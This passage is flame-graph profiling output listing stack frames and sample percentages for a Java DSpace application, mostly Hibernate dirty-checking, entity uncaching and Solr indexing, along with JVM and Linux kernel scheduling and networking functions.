3.40%) +org.. + + +org/apache/commons/configuration/AbstractFileConfiguration:::getProperty (1 samples, 0.15%) + + + +__intel_pmu_enable_all.constprop.0 (12 samples, 1.78%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeVal (2 samples, 0.30%) + + + +schedule_timeout (14 samples, 2.07%) +s.. + + +org/dspace/content/Bitstream:::getName (1 samples, 0.15%) + + + +java/util/AbstractMap:::get (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::autoFlushIfRequired (33 samples, 4.88%) +org/hi.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (2 samples, 0.30%) + + + +itable stub (1 samples, 0.15%) + + + +org/dspace/content/ItemServiceImpl:::getCommunities (2 samples, 0.30%) + + + +event_sched_in.isra.0.part.0 (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (1 samples, 0.15%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::containsKey (1 samples, 0.15%) + + + +org/dspace/eperson/Group_$$_jvst722_1e:::getHibernateLazyInitializer (1 samples, 0.15%) + + + +Java_java_io_FileOutputStream_writeBytes (1 samples, 0.15%) + + + +java/net/SocketInputStream:::read (2 samples, 0.30%) + + + +smp_apic_timer_interrupt (1 samples, 0.15%) + + + +switch_fpu_return (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (2 samples, 0.30%) + + + +com/sun/proxy/$Proxy40:::isDirty (13 samples, 1.92%) +c.. + + +generic_update_time (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (31 samples, 4.59%) +org/h.. + + +__GI___libc_write (1 samples, 0.15%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::set (1 samples, 0.15%) + + + +finish_task_switch (12 samples, 1.78%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (1 samples, 0.15%) + + + +do_syscall_64 (13 samples, 1.92%) +d.. + + +futex_wait_queue_me (4 samples, 0.59%) + + + +java/lang/Object:::hashCode (1 samples, 0.15%) + + + +org/apache/log4j/AppenderSkeleton:::doAppend (1 samples, 0.15%) + + + +pthread_cond_signal@@GLIBC_2.3.2 (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::getRowFromResultSet (1 samples, 0.15%) + + + +org/hibernate/type/ManyToOneType:::isDirty (1 samples, 0.15%) + + + +__schedule (4 samples, 0.59%) + + + +[libjvm.so] (79 samples, 11.69%) +[libjvm.so] + + +org/apache/log4j/Category:::callAppenders (1 samples, 0.15%) + + + +org/dspace/discovery/SolrServiceMetadataBrowseIndexingPlugin:::additionalIndex (10 samples, 1.48%) + + + +Interpreter (3 samples, 0.44%) + + + +java/io/FileOutputStream:::writeBytes (1 samples, 0.15%) + + + +smp_apic_timer_interrupt (1 samples, 0.15%) + + + +java/util/HashMap:::put (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isDirty (4 samples, 0.59%) + + + +__poll (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/hibernate/loader/DefaultEntityAliases:::<init> (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (11 samples, 1.63%) + + + +java/util/HashMap:::resize (1 samples, 0.15%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (8 samples, 1.18%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (8 samples, 1.18%) + + + +Java_java_net_SocketInputStream_socketRead0 (5 samples, 0.74%) + + + +org/hibernate/type/ManyToOneType:::isDirty (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/hibernate/type/AbstractStandardBasicType:::isComponentType (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/dspace/content/Collection:::getName (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (13 samples, 1.92%) +o.. + + +__local_bh_enable_ip (6 samples, 0.89%) + + + +hid_irq_in (1 samples, 0.15%) + + + +org/hibernate/internal/util/collections/IdentityMap:::entryArray (1 samples, 0.15%) + + + +__perf_event_task_sched_out (1 samples, 0.15%) + + + +org/apache/log4j/WriterAppender:::subAppend (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (3 samples, 0.44%) + + + +hrtimer_interrupt (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +group_sched_in (2 samples, 0.30%) + + + +org/apache/http/protocol/ImmutableHttpProcessor:::process (2 samples, 0.30%) + + + +org/apache/http/client/protocol/RequestClientConnControl:::process (1 samples, 0.15%) + + + +org/hibernate/engine/spi/CascadeStyle$11:::hasOrphanDelete (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +futex_wait (56 samples, 8.28%) +futex_wait + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getProperty (4 samples, 0.59%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (33 samples, 4.88%) +org/hi.. + + +org/apache/solr/client/solrj/request/UpdateRequest:::getXML (2 samples, 0.30%) + + + +org/apache/http/entity/mime/content/StringBody:::writeTo (1 samples, 0.15%) + + + +Interpreter (3 samples, 0.44%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +[unknown] (13 samples, 1.92%) +[.. + + +org/dspace/discovery/SolrServiceContentInOriginalBundleFilterPlugin:::additionalIndex (3 samples, 0.44%) + + + +__schedule (14 samples, 2.07%) +_.. + + +org/hibernate/event/internal/FlushVisitor:::processCollection (2 samples, 0.30%) + + + +kmem_cache_free (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::doList (1 samples, 0.15%) + + + +__kmalloc (1 samples, 0.15%) + + + +do_syscall_64 (2 samples, 0.30%) + + + +[libjvm.so] (7 samples, 1.04%) + + + +futex_wait_queue_me (56 samples, 8.28%) +futex_wait_.. + + +tcp_schedule_loss_probe (1 samples, 0.15%) + + + +tcp_tx_timestamp (1 samples, 0.15%) + + + +org/apache/commons/configuration/HierarchicalConfiguration$DefinedKeysVisitor:::<init> (1 samples, 0.15%) + + + +inet6_recvmsg (15 samples, 2.22%) +i.. + + +java/lang/String:::toLowerCase (1 samples, 0.15%) + + + +entry_SYSCALL_64 (1 samples, 0.15%) + + + +native_write_msr (12 samples, 1.78%) + + + +futex_wait (8 samples, 1.18%) + + + +sched_clock_cpu (1 samples, 0.15%) + + + +do_syscall_64 (9 samples, 1.33%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadataByMetadataString (1 samples, 0.15%) + + + +__x64_sys_write (1 samples, 0.15%) + + + +do_sys_poll (4 samples, 0.59%) + + + +[libjvm.so] (372 samples, 55.03%) +[libjvm.so] + + +tcp_write_xmit (9 samples, 1.33%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (2 samples, 0.30%) + + + +org/apache/http/impl/io/AbstractSessionInputBuffer:::fillBuffer (2 samples, 0.30%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +__perf_event_task_sched_in (53 samples, 7.84%) +__perf_even.. + + +[libjava.so] (1 samples, 0.15%) + + + +[libjvm.so] (6 samples, 0.89%) + + + +org/apache/http/impl/cookie/DefaultCookieSpec:::<init> (1 samples, 0.15%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (2 samples, 0.30%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +itable stub (3 samples, 0.44%) + + + +_register_finalizer_Java (1 samples, 0.15%) + + + +Interpreter (372 samples, 55.03%) +Interpreter + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (8 samples, 1.18%) + + + +org/hibernate/loader/Loader:::prepareQueryStatement (1 samples, 0.15%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (3 samples, 0.44%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (5 samples, 0.74%) + + + +[libjvm.so] (4 samples, 0.59%) + + + +__fdget (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +java/util/LinkedList:::addAll (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::list (39 samples, 5.77%) +org/hib.. + + +org/hibernate/event/internal/FlushVisitor:::processCollection (1 samples, 0.15%) + + + +native_write_msr (12 samples, 1.78%) + + + +finish_task_switch (14 samples, 2.07%) +f.. + + +pthread_cond_wait@@GLIBC_2.3.2 (9 samples, 1.33%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (15 samples, 2.22%) +o.. + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (7 samples, 1.04%) + + + +java/util/HashMap:::resize (1 samples, 0.15%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (3 samples, 0.44%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (17 samples, 2.51%) +or.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (1 samples, 0.15%) + + + +ctx_sched_out (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (9 samples, 1.33%) + + + +apic_timer_interrupt (1 samples, 0.15%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (5 samples, 0.74%) + + + +[libjvm.so] (78 samples, 11.54%) +[libjvm.so] + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (3 samples, 0.44%) + + + +entry_SYSCALL_64 (20 samples, 2.96%) +en.. + + +schedule (12 samples, 1.78%) + + + +com/sun/proxy/$Proxy40:::isDirty (8 samples, 1.18%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (17 samples, 2.51%) +su.. + + +org/hibernate/internal/SessionImpl:::isDirty (8 samples, 1.18%) + + + +__audit_syscall_entry (1 samples, 0.15%) + + + +ext4_mark_inode_dirty (1 samples, 0.15%) + + + +do_syscall_64 (13 samples, 1.92%) +d.. + + +itable stub (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +__intel_pmu_enable_all.constprop.0 (12 samples, 1.78%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (7 samples, 1.04%) + + + +org/hibernate/engine/spi/CascadeStyle$11:::hasOrphanDelete (1 samples, 0.15%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +[libjava.so] (1 samples, 0.15%) + + + +sun/reflect/GeneratedMethodAccessor23:::invoke (2 samples, 0.30%) + + + +msort_with_tmp.part.0 (1 samples, 0.15%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::write (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (6 samples, 0.89%) + + + +itable stub (1 samples, 0.15%) + + + +hid_input_report (1 samples, 0.15%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::encode (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (2 samples, 0.30%) + + + +java/io/PrintWriter:::write (1 samples, 0.15%) + + + +tick_sched_timer (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (4 samples, 0.59%) + + + +__libc_recv (17 samples, 2.51%) +__.. + + +[libjvm.so] (1 samples, 0.15%) + + + +[libjvm.so] (372 samples, 55.03%) +[libjvm.so] + + +pthread_cond_timedwait@@GLIBC_2.3.2 (19 samples, 2.81%) +pt.. + + +org/hibernate/internal/SessionImpl:::isDirty (13 samples, 1.92%) +o.. + + +java/lang/Throwable:::printEnclosedStackTrace (1 samples, 0.15%) + + + +org/apache/http/entity/mime/HttpStrictMultipart:::formatMultipartHeader (1 samples, 0.15%) + + + +__x64_sys_futex (18 samples, 2.66%) +__.. + + +org/hibernate/event/internal/DefaultEvictEventListener:::onEvict (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (3 samples, 0.44%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (74 samples, 10.95%) +org/dspace/core/.. + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (2 samples, 0.30%) + + + +ip_output (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (1 samples, 0.15%) + + + +ktime_get_update_offsets_now (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (33 samples, 4.88%) +org/hi.. + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.15%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::containsKey (4 samples, 0.59%) + + + +[unknown] (19 samples, 2.81%) +[u.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (4 samples, 0.59%) + + + +call_stub (372 samples, 55.03%) +call_stub + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (3 samples, 0.44%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.15%) + + + +[unknown] (9 samples, 1.33%) + + + +native_write_msr (32 samples, 4.73%) +nativ.. + + +itable stub (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/hibernate/loader/criteria/CriteriaJoinWalker:::<init> (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (1 samples, 0.15%) + + + +org/apache/log4j/Category:::error (3 samples, 0.44%) + + + +[libjvm.so] (7 samples, 1.04%) + + + +org/hibernate/loader/AbstractEntityJoinWalker:::initStatementString (1 samples, 0.15%) + + + +perf_swevent_add (1 samples, 0.15%) + + + +hrtimer_interrupt (1 samples, 0.15%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (3 samples, 0.44%) + + + +ip_protocol_deliver_rcu (2 samples, 0.30%) + + + +org/apache/http/client/protocol/RequestAddCookies:::process (1 samples, 0.15%) + + + +[unknown] (34 samples, 5.03%) +[unkno.. + + +java/lang/reflect/Method:::invoke (372 samples, 55.03%) +java/lang/reflect/Method:::invoke + + +org/hibernate/engine/spi/TypedValue:::hashCode (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::list (1 samples, 0.15%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +group_sched_in (1 samples, 0.15%) + + + +org/hibernate/engine/internal/EntityEntryContext:::reentrantSafeEntityEntries (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (11 samples, 1.63%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (20 samples, 2.96%) +or.. + + +itable stub (1 samples, 0.15%) + + + +schedule (4 samples, 0.59%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +org/apache/http/util/EntityUtils:::getContentCharSet (1 samples, 0.15%) + + + +org/apache/http/impl/cookie/BestMatchSpecFactory:::newInstance (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +java/io/FileOutputStream:::write (1 samples, 0.15%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +org/dspace/discovery/SolrServiceResourceRestrictionPlugin:::additionalIndex (92 samples, 13.61%) +org/dspace/discovery.. + + +[libjvm.so] (7 samples, 1.04%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (68 samples, 10.06%) +org/hibernate/.. + + +org/springframework/beans/factory/support/AbstractBeanFactory:::doGetBean (2 samples, 0.30%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +futex_wait_queue_me (34 samples, 5.03%) +futex_.. + + +syscall_slow_exit_work (1 samples, 0.15%) + + + +org/hibernate/loader/AbstractEntityJoinWalker:::initAll (1 samples, 0.15%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (2 samples, 0.30%) + + + +itable stub (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (17 samples, 2.51%) +or.. + + +[libjvm.so] (2 samples, 0.30%) + + + +__ext4_get_inode_loc (1 samples, 0.15%) + + + +org/hibernate/type/EntityType:::nullSafeGet (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +apic_timer_interrupt (1 samples, 0.15%) + + + +org/hibernate/loader/JoinWalker:::selectString (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (2 samples, 0.30%) + + + +org/apache/http/impl/client/RequestWrapper:::getRequestLine (1 samples, 0.15%) + + + +java/util/regex/Pattern$GroupTail:::match (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::loadCollection (1 samples, 0.15%) + + + +finish_task_switch (4 samples, 0.59%) + + + +org/dspace/browse/BrowseIndex:::<init> (1 samples, 0.15%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (83 samples, 12.28%) +org/hibernate/cont.. + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadata (7 samples, 1.04%) + + + +org/dspace/servicemanager/DSpaceServiceManager:::configureService (2 samples, 0.30%) + + + +java/lang/String:::intern (1 samples, 0.15%) + + + +org/dspace/content/Bundle:::getBitstreams (1 samples, 0.15%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::reassociateIfUninitializedProxy (2 samples, 0.30%) + + + +__audit_syscall_entry (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::isDirty (64 samples, 9.47%) +org/hibernate.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (6 samples, 0.89%) + + + +org/hibernate/type/AbstractStandardBasicType:::isDirty (1 samples, 0.15%) + + + +futex_wait_queue_me (8 samples, 1.18%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +Interpreter (372 samples, 55.03%) +Interpreter + + +newidle_balance (1 samples, 0.15%) + + + +itable stub (5 samples, 0.74%) + + + +__perf_event_task_sched_in (32 samples, 4.73%) +__per.. + + +org/dspace/core/Context:::uncacheEntity (220 samples, 32.54%) +org/dspace/core/Context:::uncacheEntity + + +schedule (4 samples, 0.59%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (53 samples, 7.84%) +org/dspace/.. + + +java/io/PrintWriter:::write (1 samples, 0.15%) + + + +hid_report_raw_event (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getPropertyKeys (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (25 samples, 3.70%) +org/.. + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::containsKey (3 samples, 0.44%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (3 samples, 0.44%) + + + +org/dspace/discovery/SolrServiceImpl:::writeDocument (15 samples, 2.22%) +o.. + + +pick_next_task_fair (1 samples, 0.15%) + + + +[libjvm.so] (79 samples, 11.69%) +[libjvm.so] + + +ip_finish_output2 (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (1 samples, 0.15%) + + + +org/apache/log4j/WriterAppender:::append (3 samples, 0.44%) + + + +[libjvm.so] (16 samples, 2.37%) +[.. + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (3 samples, 0.44%) + + + +__mark_inode_dirty (1 samples, 0.15%) + + + +[libjvm.so] (79 samples, 11.69%) +[libjvm.so] + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.15%) + + + +tcp_current_mss (1 samples, 0.15%) + + + +update_process_times (1 samples, 0.15%) + + + +org/hibernate/internal/CriteriaImpl:::isLookupByNaturalKey (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::doLoad (2 samples, 0.30%) + + + +_register_finalizer_Java (1 samples, 0.15%) + + + +__pthread_mutex_unlock_usercnt (1 samples, 0.15%) + + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (1 samples, 0.15%) + + + +[unknown] (20 samples, 2.96%) +[u.. + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/log4j/DefaultThrowableRenderer:::render (1 samples, 0.15%) + + + +syscall_trace_enter (1 samples, 0.15%) + + + +vfs_write (1 samples, 0.15%) + + + +java/lang/Throwable:::printStackTrace (1 samples, 0.15%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (5 samples, 0.74%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +java/util/AbstractMap:::get (4 samples, 0.59%) + + + +org/hibernate/type/AbstractStandardBasicType:::isDirty (1 samples, 0.15%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (3 samples, 0.44%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (6 samples, 0.89%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +Finalizer (16 samples, 2.37%) +F.. + + +Interpreter (372 samples, 55.03%) +Interpreter + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (7 samples, 1.04%) + + + +__hrtimer_run_queues (1 samples, 0.15%) + + + +tcp_recvmsg (15 samples, 2.22%) +t.. + + +org/hibernate/internal/SessionImpl:::immediateLoad (2 samples, 0.30%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +__intel_pmu_enable_all.constprop.0 (16 samples, 2.37%) +_.. + + +ipv4_confirm (1 samples, 0.15%) + + + +[libjli.so] (372 samples, 55.03%) +[libjli.so] + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (7 samples, 1.04%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +sk_wait_data (14 samples, 2.07%) +s.. + + +schedule (18 samples, 2.66%) +sc.. + + +java/lang/Throwable:::<init> (1 samples, 0.15%) + + + +org/apache/commons/dbcp2/DelegatingConnection:::prepareStatement (1 samples, 0.15%) + + + +java/io/SequenceInputStream:::nextStream (4 samples, 0.59%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +syscall_trace_enter (1 samples, 0.15%) + + + +apic_timer_interrupt (1 samples, 0.15%) + + + +org/apache/log4j/DefaultThrowableRenderer:::render (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +itable stub (1 samples, 0.15%) + + + +futex_wait_queue_me (19 samples, 2.81%) +fu.. + + +JVM_InvokeMethod (372 samples, 55.03%) +JVM_InvokeMethod + + +[libjvm.so] (1 samples, 0.15%) + + + +ip_local_deliver (3 samples, 0.44%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (10 samples, 1.48%) + + + +ctx_sched_in (1 samples, 0.15%) + + + +Interpreter (372 samples, 55.03%) +Interpreter + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (4 samples, 0.59%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeXML (2 samples, 0.30%) + + + +do_IRQ (1 samples, 0.15%) + + + +futex_wait (18 samples, 2.66%) +fu.. + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +native_write_msr (1 samples, 0.15%) + + + +event_sched_in.isra.0.part.0 (1 samples, 0.15%) + + + +org/dspace/authorize/dao/impl/ResourcePolicyDAOImpl:::findByDSoAndAction (39 samples, 5.77%) +org/dsp.. + + +org/hibernate/loader/Loader:::prepareQueryStatement (1 samples, 0.15%) + + + +process_backlog (6 samples, 0.89%) + + + +org/apache/http/impl/entity/EntitySerializer:::serialize (2 samples, 0.30%) + + + +org/apache/commons/configuration/tree/DefaultConfigurationKey$KeyIterator:::nextKey (1 samples, 0.15%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::doCreateBean (2 samples, 0.30%) + + + +schedule (56 samples, 8.28%) +schedule + + +[libjvm.so] (3 samples, 0.44%) + + + +smp_apic_timer_interrupt (1 samples, 0.15%) + + + +__hrtimer_run_queues (1 samples, 0.15%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::getCollectionEntry (1 samples, 0.15%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (2 samples, 0.30%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (2 samples, 0.30%) + + + +itable stub (1 samples, 0.15%) + + + +Interpreter (372 samples, 55.03%) +Interpreter + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +group_sched_in (1 samples, 0.15%) + + + +__fget (1 samples, 0.15%) + + + +__x64_sys_poll (4 samples, 0.59%) + + + +org/hibernate/collection/internal/PersistentBag:::iterator (2 samples, 0.30%) + + + +__perf_event_task_sched_in (8 samples, 1.18%) + + + +org/hibernate/type/EntityType:::resolve (1 samples, 0.15%) + + + +wait_woken (14 samples, 2.07%) +w.. + + +[libjvm.so] (2 samples, 0.30%) + + + +__intel_pmu_enable_all.constprop.0 (12 samples, 1.78%) + + + +entry_SYSCALL_64 (1 samples, 0.15%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +preempt_count_sub.constprop.0 (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (4 samples, 0.59%) + + + +__perf_event_task_sched_in (4 samples, 0.59%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (2 samples, 0.30%) + + + +org/dspace/discovery/FullTextContentStreams$FullTextEnumeration:::nextElement (4 samples, 0.59%) + + + +apic_timer_interrupt (1 samples, 0.15%) + + + +org/apache/log4j/Category:::info (1 samples, 0.15%) + + + +start_thread (3 samples, 0.44%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (1 samples, 0.15%) + + + +__dev_queue_xmit (1 samples, 0.15%) + + + +vtable stub (1 samples, 0.15%) + + + +call_stub (1 samples, 0.15%) + + + +futex_wait_queue_me (12 samples, 1.78%) + + + +VM_Thread (20 samples, 2.96%) +VM.. + + +sun/reflect/GeneratedMethodAccessor16:::invoke (8 samples, 1.18%) + + + +org/dspace/eperson/Group_$$_jvst722_1e:::getHibernateLazyInitializer (2 samples, 0.30%) + + + +schedule (34 samples, 5.03%) +schedule + + +org/hibernate/event/internal/DefaultLoadEventListener:::loadFromDatasource (2 samples, 0.30%) + + + +__sys_sendto (14 samples, 2.07%) +_.. + + +org/apache/http/entity/mime/FormBodyPart:::<init> (1 samples, 0.15%) + + + +java/net/SocketInputStream:::read (5 samples, 0.74%) + + + +java/nio/charset/Charset:::lookup (1 samples, 0.15%) + + + +entry_SYSCALL_64 (13 samples, 1.92%) +e.. + + +[libjvm.so] (372 samples, 55.03%) +[libjvm.so] + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (18 samples, 2.66%) +or.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (7 samples, 1.04%) + + + +org/hibernate/engine/spi/CascadeStyle:::hasOrphanDelete (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (11 samples, 1.63%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (1 samples, 0.15%) + + + +do_syscall_64 (34 samples, 5.03%) +do_sys.. + + +tcp_rcv_established (2 samples, 0.30%) + + + +call_stub (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultEvictEventListener:::doEvict (1 samples, 0.15%) + + + +hrtimer_start_range_ns (1 samples, 0.15%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (6 samples, 0.89%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (36 samples, 5.33%) +sun/re.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (7 samples, 1.04%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (1 samples, 0.15%) + + + +pthread_cond_timedwait@@GLIBC_2.3.2 (13 samples, 1.92%) +p.. + + +org/hibernate/loader/Loader:::loadEntity (2 samples, 0.30%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::doWriteTo (2 samples, 0.30%) + + + +org/hibernate/loader/BasicLoader:::postInstantiate (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.15%) + + + +__perf_event_task_sched_in (4 samples, 0.59%) + + + +do_mprotect_pkey (2 samples, 0.30%) + + + +JVM_IHashCode (1 samples, 0.15%) + + + +itable stub (2 samples, 0.30%) + + + 